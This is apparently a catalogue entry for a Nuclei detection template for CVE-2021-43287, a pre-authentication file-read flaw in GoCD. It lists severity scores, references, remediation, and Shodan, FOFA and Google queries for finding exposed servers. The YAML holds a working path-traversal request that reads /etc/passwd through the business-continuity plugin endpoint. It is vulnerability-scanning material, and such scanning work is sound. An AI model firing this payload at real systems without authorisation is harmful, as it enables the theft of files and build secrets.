CVE-2021-43287: Pre-Auth Takeover of Build Pipelines in GoCD
- Template: CVE-2021-43287
- Name: Pre-Auth Takeover of Build Pipelines in GoCD
- Description: GoCD contains a critical information disclosure vulnerability whose exploitation allows unauthenticated attackers to leak configuration information including build secrets and encryption keys.
- Impact: Successful exploitation of this vulnerability can lead to unauthorized access and control over the build pipelines, potentially resulting in the execution of arbitrary code or unauthorized modifications.
- Remediation: Upgrade to version v21.3.0. or later.
- Severity: high
- Authors: dhiyaneshDk
- Tags: cve2021, cve, go, lfi, gocd, thoughtworks, vkev, vuln
- References: https://attackerkb.com/assessments/9101a539-4c6e-4638-a2ec-12080b7e3b50, https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover, https://twitter.com/wvuuuuuuuuuuuuu/status/1456316586831323140, https://www.gocd.org/releases/#21-3-0, https://github.com/gocd/gocd/commit/41abc210ac4e8cfa184483c9ff1c0cc04fb3511c
- Cves: CVE-2021-43287
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-43287.yaml
- Digest: 4a0a00473045022100f54ade131a0dee1b99023d111c65e8fb56d222acb38fec3dc477084a14f95db402201974fd5b3871cc51077d9b2699ce4bc6937d92633e173987dfc54980e7e737e2
- Created at: 2021-11-04T21:00:41Z
- Updated at: 2026-11-25T02:04:11Z
- Age in days: 1847
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-43287.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-200
- Cvss score: 7.5
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Epss score: 0.28039
- Epss percentile: 0.98135
- Cpe: cpe:2.3:a:thoughtworks:gocd:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: title="create a pipeline - go" html:"gocd version", body="gocd version"
- Google-query: intitle:"create a pipeline - go" html:"gocd version"
- Max-request: 1
- Product: gocd
- Shodan-query: http.title:"Create a pipeline - Go" html:"GoCD Version", http.html:"gocd version", http.title:"create a pipeline - go" html:"gocd version"
- Vendor: thoughtworks
Products
| Product | Indexed | Url |
|---|---|---|
| thoughtworks:gocd | yes | /v1/products/thoughtworks/gocd |
Labels
- Name: GoCD - Information Disclosure
- Impact: Attackers can access sensitive configuration data, leading to potential system compromise and data breaches.
- Remediation: Update to the latest version of GoCD that addresses this vulnerability.
- Vulnerability impact: information_disclosure
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2021-43287
- Not known: vulnerability type, requirements
```yaml
id: CVE-2021-43287
info:
name: Pre-Auth Takeover of Build Pipelines in GoCD
author: dhiyaneshDk
severity: high
description: GoCD contains a critical information disclosure vulnerability whose exploitation allows unauthenticated attackers to leak configuration information including build secrets and encryption keys.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access and control over the build pipelines, potentially resulting in the execution of arbitrary code or unauthorized modifications.
remediation: Upgrade to version v21.3.0. or later.
reference:
- https://attackerkb.com/assessments/9101a539-4c6e-4638-a2ec-12080b7e3b50
- https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover
- https://twitter.com/wvuuuuuuuuuuuuu/status/1456316586831323140
- https://www.gocd.org/releases/#21-3-0
- https://github.com/gocd/gocd/commit/41abc210ac4e8cfa184483c9ff1c0cc04fb3511c
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-43287
cwe-id: CWE-200
epss-score: 0.28039
epss-percentile: 0.98135
cpe: cpe:2.3:a:thoughtworks:gocd:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: thoughtworks
product: gocd
shodan-query:
- http.title:"Create a pipeline - Go" html:"GoCD Version"
- http.html:"gocd version"
- http.title:"create a pipeline - go" html:"gocd version"
fofa-query:
- title="create a pipeline - go" html:"gocd version"
- body="gocd version"
google-query: intitle:"create a pipeline - go" html:"gocd version"
tags: cve2021,cve,go,lfi,gocd,thoughtworks,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
digest: 4a0a00473045022100f54ade131a0dee1b99023d111c65e8fb56d222acb38fec3dc477084a14f95db402201974fd5b3871cc51077d9b2699ce4bc6937d92633e173987dfc54980e7e737e2:922c64590222798bb761d5b6d8e72950
```